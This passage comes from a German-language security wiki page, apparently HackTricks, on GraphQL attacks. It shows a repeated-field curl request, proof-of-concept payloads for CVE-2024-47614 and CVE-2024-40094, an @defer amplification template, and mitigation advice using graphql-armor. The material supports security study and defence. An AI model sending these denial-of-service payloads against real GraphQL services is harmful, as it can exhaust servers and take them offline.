\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Aktuelle Schwachstellen (2023-2025)

Das GraphQL-Ökosystem entwickelt sich sehr schnell; in den letzten zwei Jahren wurden mehrere kritische Probleme in den am häufigsten verwendeten Serverbibliotheken offengelegt. Wenn Sie einen GraphQL-Endpunkt finden, ist es daher sinnvoll, die Engine zu identifizieren (siehe graphw00f) und die laufende Version mit den unten aufgeführten Schwachstellen zu überprüfen.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Betroffen: async-graphql < 7.0.10 (Rust)
  • Ursache: kein Limit für duplizierte Direktiven (z. B. Tausende von @include), die in eine exponentielle Anzahl von Ausführungs-Knoten erweitert werden.
  • Auswirkungen: Eine einzelne HTTP-Anfrage kann CPU/RAM erschöpfen und den Dienst zum Absturz bringen.
  • Lösung/Minderung: Upgrade auf ≥ 7.0.10 oder SchemaBuilder.limit_directives() aufrufen; alternativ Anfragen mit einer WAF-Regel wie "@include.*@include.*@include" filtern.
graphql
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF Tiefe/Komplexität Umgehung

  • Betroffen: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Grundursache: ExecutableNormalizedFields wurden von der MaxQueryDepth / MaxQueryComplexity Instrumentierung nicht berücksichtigt. Rekursive Fragmente umgingen daher alle Grenzen.
  • Auswirkungen: nicht authentifizierter DoS gegen Java-Stacks, die graphql-java einbetten (Spring Boot, Netflix DGS, Atlassian-Produkte…).
graphql
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF zu RCE-Kette

  • Betroffen: WPGraphQL ≤ 1.14.5 (WordPress-Plugin).
  • Grundursache: die createMediaItem-Mutation akzeptierte von Angreifern kontrollierte filePath-URLs, die internen Netzwerkzugang und Dateischreibvorgänge ermöglichten.
  • Auswirkungen: authentifizierte Redakteure/Autoren konnten auf Metadatenendpunkte zugreifen oder PHP-Dateien für die Remote-Code-Ausführung schreiben.

Missbrauch der inkrementellen Lieferung: @defer / @stream

Seit 2023 haben die meisten großen Server (Apollo 4, GraphQL-Java 20+, HotChocolate 13) die inkrementellen Liefer-Direktiven implementiert, die von der GraphQL-over-HTTP WG definiert wurden. Jeder verzögerte Patch wird als separater Chunk gesendet, sodass die gesamte Antwortgröße N + 1 beträgt (Umschlag + Patches). Eine Abfrage, die Tausende von kleinen verzögerten Feldern enthält, erzeugt daher eine große Antwort, während der Angreifer nur eine Anfrage kostet – ein klassisches Amplification DoS und eine Möglichkeit, WAF-Regeln zur Körpergröße zu umgehen, die nur den ersten Chunk inspizieren. Die WG-Mitglieder selbst haben das Risiko hervorgehoben.

Beispiel-Payload, die 2 000 Patches generiert:

graphql
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Mitigation: Deaktivieren Sie @defer/@stream in der Produktion oder erzwingen Sie max_patches, kumulative max_bytes und Ausführungszeit. Bibliotheken wie graphql-armor (siehe unten) setzen bereits sinnvolle Standardwerte durch.


Defensive Middleware (2024+)

ProjektHinweise
graphql-armorNode/TypeScript-Validierungsmiddleware, veröffentlicht von Escape Tech. Implementiert Plug-and-Play-Grenzen für Abfragetiefe, Alias-/Feld-/Direktiveanzahl, Tokens und Kosten; kompatibel mit Apollo Server, GraphQL Yoga/Envelop, Helix usw.

Schnellstart:

ts
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor wird nun zu tiefe, komplexe oder directive-lastige Abfragen blockieren, um sich gegen die oben genannten CVEs zu schützen.


Tools

Schwachstellenscanner

Skripte zur Ausnutzung häufiger Schwachstellen

Clients

Automatische Tests

https://graphql-dashboard.herokuapp.com/

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks